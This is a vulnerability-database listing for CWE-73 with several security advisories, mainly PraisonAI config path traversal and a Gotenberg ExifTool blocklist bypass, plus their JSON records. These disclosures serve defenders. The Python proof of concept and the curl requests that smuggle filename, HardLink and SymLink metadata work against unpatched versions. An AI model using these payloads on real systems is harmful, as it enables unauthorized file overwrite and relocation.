Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product allows user input to control or influence paths or file names that are used in filesystem operations.

1295 vulnerabilities reference this CWE, most recent first.

GHSA-QJW5-XWRP-XWPQ

Vulnerability from github – Published: 2026-10-08 16:36 – Updated: 2026-10-08 16:36

Summary

PraisonAI: Project config can auto-save agent output outside the project root

Details

Project config can auto-save agent output outside the project root

Summary

praisonaiagents automatically reads project-local .praisonai/config.toml defaults when constructing an Agent. A repository-controlled config can set defaults.output.output_file to an absolute path or a .. traversal path. When the developer later calls agent.start(...), PraisonAI writes the agent response to that path with open(..., "w"), creating parent directories if needed.

This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.

Technical Details

The source-to-sink path is Agent.__init__() project config loading to OutputConfig.output_file to public agent.start() output auto-save. praisonaiagents/agent/agent.py applies config-driven defaults before parameter resolution; if the caller did not explicitly pass output, it calls apply_config_defaults("output", output, OutputConfig). praisonaiagents/config/loader.py treats a config block with enabled = true as active and instantiates OutputConfig from the remaining keys. OutputConfig includes output_file, and the agent stores that value as self._output_file.

After agent.start(...) obtains a truthy result from self.chat(...), praisonaiagents/agent/execution_mixin.py calls _save_output_to_file(str(result)) when self._output_file is set. praisonaiagents/agent/memory_mixin.py then runs expanduser() and abspath(), creates parent directories, and writes the destination with mode w. It does not constrain the resolved path to the current project, reject absolute paths, reject .., or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.

This is not a claim that explicit Agent(output=OutputConfig(output_file=...)) chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.

PoV

Create a project containing:

[defaults.output]
enabled = true
output_file = "../victim-outside-project/agent-output.txt"

Then run ordinary agent code from inside that project without passing an explicit output parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after agent.start(...).

I verified this locally without any external model call by replacing agent.chat with a deterministic offline stub after constructing the real Agent; the public start() method still performed the auto-save. Current-head output:

{
  "configured_output_file": "../victim-outside-project/agent-output.txt",
  "escaped_project_root": true,
  "source_head": "3aa9cbc2bd49c23a32be0a89a5e620d13d843eab",
  "start_returned": true,
  "canary_written": true
}

Negative controls:

[
  {
    "case": "safe-relative",
    "configured_output_file": "inside-output.txt",
    "expected_file_escaped_project": false,
    "expected_file_exists": true,
    "observed_files": {
      "project/inside-output.txt": "PRAISONAI_NEGATIVE_CONTROL_safe-relative\n"
    },
    "outside_files": [],
    "start_returned": true
  },
  {
    "case": "disabled-output",
    "configured_output_file": null,
    "expected_file_escaped_project": null,
    "expected_file_exists": false,
    "observed_files": {},
    "outside_files": [],
    "start_returned": true
  }
]

The first control shows a safe relative output path stays inside the project. The second control shows a traversal output_file is not applied when defaults.output.enabled is false.

PoC

#!/usr/bin/env python3
import os
import shutil
from pathlib import Path

from praisonaiagents import Agent
from praisonaiagents.config.loader import clear_config_cache

work = Path("praison-outputfile-poc").resolve()
project = work / "untrusted-project"
victim = work / "victim-outside-project" / "agent-output.txt"

shutil.rmtree(work, ignore_errors=True)
(project / ".praisonai").mkdir(parents=True)
victim.parent.mkdir(parents=True)

(project / ".praisonai" / "config.toml").write_text(
    "[defaults.output]\n"
    "enabled = true\n"
    'output_file = "../victim-outside-project/agent-output.txt"\n',
    encoding="utf-8",
)

os.chdir(project)
clear_config_cache()

agent = Agent(instructions="offline PoC")
agent.chat = lambda prompt, **kwargs: "PRAISONAI_OUTPUTFILE_CANARY\n"
agent.start("offline prompt")

print(victim.read_text(encoding="utf-8"))
print(victim.resolve())

Expected affected result:

victim-outside-project/agent-output.txt is created outside untrusted-project.
The file contains PRAISONAI_OUTPUTFILE_CANARY.

Impact

A malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.

The content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.

Suggested Fix

Treat output_file loaded from project-local config as untrusted:

Resolve project-configured output_file relative to the project root and reject paths that escape that root after symlink-aware normalization.
Reject absolute paths and .. traversal in project config by default.
Preserve existing behavior for explicit trusted application code, for example Agent(output=OutputConfig(output_file=...)), or require an explicit allow_external_output_file opt-in for config-sourced paths.
Avoid creating parent directories outside the allowed root for config-sourced output.
Add regression tests for .praisonai/config.toml with relative traversal, absolute paths, and symlinked parent directories.

Affected Package/Versions

Confirmed affected:

GitHub current head 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab.
praisonaiagents 1.6.64, latest PyPI release at test time.
praisonaiagents 1.6.63, previous PyPI release tested.

The praisonai package version 4.6.64 depends on praisonaiagents>=1.6.64, so praisonai users can receive the affected code transitively when they use the praisonaiagents.Agent path.

Advisory History

I did not find an existing advisory summary for output_file / OutputConfig / defaults.output project-configured output path escape in the repository advisory list.

Related but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the praisonaiagents project config to OutputConfig.output_file auto-save path.

No public disclosure or external submission was performed as part of this report preparation.

References

praisonaiagents/agent/agent.py: config defaults are applied to output, then output_file is stored on the agent.
praisonaiagents/config/loader.py: enabled config defaults instantiate the requested config class.
praisonaiagents/config/feature_configs.py: OutputConfig.output_file.
praisonaiagents/agent/execution_mixin.py: start() auto-saves agent output.
praisonaiagents/agent/memory_mixin.py: _save_output_to_file() resolves and writes the configured path without project containment.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:36:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Project config can auto-save agent output outside the project root\n\n## Summary\n\n`praisonaiagents` automatically reads project-local `.praisonai/config.toml` defaults when constructing an `Agent`. A repository-controlled config can set `defaults.output.output_file` to an absolute path or a `..` traversal path. When the developer later calls `agent.start(...)`, PraisonAI writes the agent response to that path with `open(..., \"w\")`, creating parent directories if needed.\n\nThis lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.\n\n## Technical Details\n\nThe source-to-sink path is `Agent.__init__()` project config loading to `OutputConfig.output_file` to public `agent.start()` output auto-save. `praisonaiagents/agent/agent.py` applies config-driven defaults before parameter resolution; if the caller did not explicitly pass `output`, it calls `apply_config_defaults(\"output\", output, OutputConfig)`. `praisonaiagents/config/loader.py` treats a config block with `enabled = true` as active and instantiates `OutputConfig` from the remaining keys. `OutputConfig` includes `output_file`, and the agent stores that value as `self._output_file`.\n\nAfter `agent.start(...)` obtains a truthy result from `self.chat(...)`, `praisonaiagents/agent/execution_mixin.py` calls `_save_output_to_file(str(result))` when `self._output_file` is set. `praisonaiagents/agent/memory_mixin.py` then runs `expanduser()` and `abspath()`, creates parent directories, and writes the destination with mode `w`. It does not constrain the resolved path to the current project, reject absolute paths, reject `..`, or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.\n\nThis is not a claim that explicit `Agent(output=OutputConfig(output_file=...))` chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.\n\n## PoV\n\nCreate a project containing:\n\n```toml\n[defaults.output]\nenabled = true\noutput_file = \"../victim-outside-project/agent-output.txt\"\n```\n\nThen run ordinary agent code from inside that project without passing an explicit `output` parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after `agent.start(...)`.\n\nI verified this locally without any external model call by replacing `agent.chat` with a deterministic offline stub after constructing the real `Agent`; the public `start()` method still performed the auto-save. Current-head output:\n\n```json\n{\n  \"configured_output_file\": \"../victim-outside-project/agent-output.txt\",\n  \"escaped_project_root\": true,\n  \"source_head\": \"3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\",\n  \"start_returned\": true,\n  \"canary_written\": true\n}\n```\n\nNegative controls:\n\n```json\n[\n  {\n    \"case\": \"safe-relative\",\n    \"configured_output_file\": \"inside-output.txt\",\n    \"expected_file_escaped_project\": false,\n    \"expected_file_exists\": true,\n    \"observed_files\": {\n      \"project/inside-output.txt\": \"PRAISONAI_NEGATIVE_CONTROL_safe-relative\\n\"\n    },\n    \"outside_files\": [],\n    \"start_returned\": true\n  },\n  {\n    \"case\": \"disabled-output\",\n    \"configured_output_file\": null,\n    \"expected_file_escaped_project\": null,\n    \"expected_file_exists\": false,\n    \"observed_files\": {},\n    \"outside_files\": [],\n    \"start_returned\": true\n  }\n]\n```\n\nThe first control shows a safe relative output path stays inside the project. The second control shows a traversal `output_file` is not applied when `defaults.output.enabled` is false.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nfrom pathlib import Path\n\nfrom praisonaiagents import Agent\nfrom praisonaiagents.config.loader import clear_config_cache\n\nwork = Path(\"praison-outputfile-poc\").resolve()\nproject = work / \"untrusted-project\"\nvictim = work / \"victim-outside-project\" / \"agent-output.txt\"\n\nshutil.rmtree(work, ignore_errors=True)\n(project / \".praisonai\").mkdir(parents=True)\nvictim.parent.mkdir(parents=True)\n\n(project / \".praisonai\" / \"config.toml\").write_text(\n    \"[defaults.output]\\n\"\n    \"enabled = true\\n\"\n    \u0027output_file = \"../victim-outside-project/agent-output.txt\"\\n\u0027,\n    encoding=\"utf-8\",\n)\n\nos.chdir(project)\nclear_config_cache()\n\nagent = Agent(instructions=\"offline PoC\")\nagent.chat = lambda prompt, **kwargs: \"PRAISONAI_OUTPUTFILE_CANARY\\n\"\nagent.start(\"offline prompt\")\n\nprint(victim.read_text(encoding=\"utf-8\"))\nprint(victim.resolve())\n```\n\nExpected affected result:\n\n- `victim-outside-project/agent-output.txt` is created outside `untrusted-project`.\n- The file contains `PRAISONAI_OUTPUTFILE_CANARY`.\n\n## Impact\n\nA malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.\n\nThe content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.\n\n## Suggested Fix\n\nTreat `output_file` loaded from project-local config as untrusted:\n\n- Resolve project-configured `output_file` relative to the project root and reject paths that escape that root after symlink-aware normalization.\n- Reject absolute paths and `..` traversal in project config by default.\n- Preserve existing behavior for explicit trusted application code, for example `Agent(output=OutputConfig(output_file=...))`, or require an explicit `allow_external_output_file` opt-in for config-sourced paths.\n- Avoid creating parent directories outside the allowed root for config-sourced output.\n- Add regression tests for `.praisonai/config.toml` with relative traversal, absolute paths, and symlinked parent directories.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- GitHub current head `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`.\n- `praisonaiagents` 1.6.64, latest PyPI release at test time.\n- `praisonaiagents` 1.6.63, previous PyPI release tested.\n\nThe `praisonai` package version 4.6.64 depends on `praisonaiagents\u003e=1.6.64`, so `praisonai` users can receive the affected code transitively when they use the `praisonaiagents.Agent` path.\n\n## Advisory History\n\nI did not find an existing advisory summary for `output_file` / `OutputConfig` / `defaults.output` project-configured output path escape in the repository advisory list.\n\nRelated but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the `praisonaiagents` project config to `OutputConfig.output_file` auto-save path.\n\nNo public disclosure or external submission was performed as part of this report preparation.\n\n## References\n\n- `praisonaiagents/agent/agent.py`: config defaults are applied to `output`, then `output_file` is stored on the agent.\n- `praisonaiagents/config/loader.py`: enabled config defaults instantiate the requested config class.\n- `praisonaiagents/config/feature_configs.py`: `OutputConfig.output_file`.\n- `praisonaiagents/agent/execution_mixin.py`: `start()` auto-saves agent output.\n- `praisonaiagents/agent/memory_mixin.py`: `_save_output_to_file()` resolves and writes the configured path without project containment.",
  "id": "GHSA-qjw5-xwrp-xwpq",
  "modified": "2026-10-08T16:36:34Z",
  "published": "2026-10-08T16:36:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qjw5-xwrp-xwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60089"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-config-toml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI: Project config can auto-save agent output outside the project root"
}

GHSA-QMWH-9M9C-H36M

Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16

Summary

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

Details

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags: - HardLink: creates a hard link to the file at the specified path - SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
    "FileName",
    "Directory",
    "HardLink",
    "SymLink",
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.29.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:16:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo\u0027s `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool\u0027s stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F \u0027metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}\u0027\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F \u0027metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}\u0027\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F \u0027metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}\u0027\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }",
  "id": "GHSA-qmwh-9m9c-h36m",
  "modified": "2026-04-07T18:16:22Z",
  "published": "2026-04-07T18:16:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags"
}

GHSA-QP76-PQ9F-GR9M

Vulnerability from github – Published: 2026-08-22 15:31 – Updated: 2026-09-08 16:35

Withdrawn 2026-09-08

Summary

Duplicate Advisory: Stable FrameNet and NKJP readers parse outside-root XML in 3.9.4

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-568f-pv23-39p4. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.0 contain a path traversal vulnerability in FramenetCorpusReader and NKJPCorpusReader that allows attackers to parse XML files outside the corpus root by supplying unsafe selectors or poisoned index state. Attackers can exploit frame_by_name, doc, lu, and header methods with crafted parameters to read arbitrary XML files accessible to the application.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:35:51Z",
    "nvd_published_at": "2026-08-22T15:16:18Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-568f-pv23-39p4. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 contain a path traversal vulnerability in FramenetCorpusReader and NKJPCorpusReader that allows attackers to parse XML files outside the corpus root by supplying unsafe selectors or poisoned index state. Attackers can exploit frame_by_name, doc, lu, and header methods with crafted parameters to read arbitrary XML files accessible to the application.",
  "id": "GHSA-qp76-pq9f-gr9m",
  "modified": "2026-09-08T16:35:51Z",
  "published": "2026-08-22T15:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-568f-pv23-39p4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62385"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-path-traversal-via-framenet-and-nkjp-readers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Stable FrameNet and NKJP readers parse outside-root XML in 3.9.4",
  "withdrawn": "2026-09-08T16:35:51Z"
}

GHSA-QPW8-G895-7HC7

Vulnerability from github – Published: 2024-10-04 18:31 – Updated: 2024-10-04 18:31

Details

There is a local file inclusion vulnerability in Esri Portal for ArcGIS 11.2. 11.1, 11.0 and 10.9.1 that may allow a remote, unauthenticated attacker to craft a URL that could potentially disclose sensitive configuration information by reading internal files.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-38040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-04T18:15:07Z",
    "severity": "HIGH"
  },
  "details": "There is a local file inclusion vulnerability in Esri Portal for ArcGIS 11.2. 11.1, 11.0 and 10.9.1 that may allow a remote, unauthenticated attacker to craft a URL that could potentially disclose sensitive configuration information by reading internal files.",
  "id": "GHSA-qpw8-g895-7hc7",
  "modified": "2024-10-04T18:31:11Z",
  "published": "2024-10-04T18:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38040"
    },
    {
      "type": "WEB",
      "url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2024-update-2-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QQQ7-4HXC-X63C

Vulnerability from github – Published: 2026-04-09 17:32 – Updated: 2026-05-06 20:04

Summary

OpenClaw: Shared reply MEDIA - paths are treated as trusted and can trigger cross-channel local file exfiltration

Details

Impact

Shared reply MEDIA: paths are treated as trusted and can trigger cross-channel local file exfiltration.

A crafted shared reply MEDIA reference could cause another channel to read a local file path as trusted generated media.

OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.

Affected Packages / Versions

Package: openclaw (npm)
Affected versions: <=2026.4.4
Patched versions: 2026.4.8

Fix

The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.

Verification

The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.

Credits

Thanks @threalwinky for reporting.

Severity

5.0 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

5.1 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:32:58Z",
    "nvd_published_at": "2026-04-28T19:37:46Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nShared reply MEDIA: paths are treated as trusted and can trigger cross-channel local file exfiltration.\n\nA crafted shared reply MEDIA reference could cause another channel to read a local file path as trusted generated media.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c=2026.4.4`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @threalwinky for reporting.",
  "id": "GHSA-qqq7-4hxc-x63c",
  "modified": "2026-05-06T20:04:11Z",
  "published": "2026-04-09T17:32:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qqq7-4hxc-x63c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
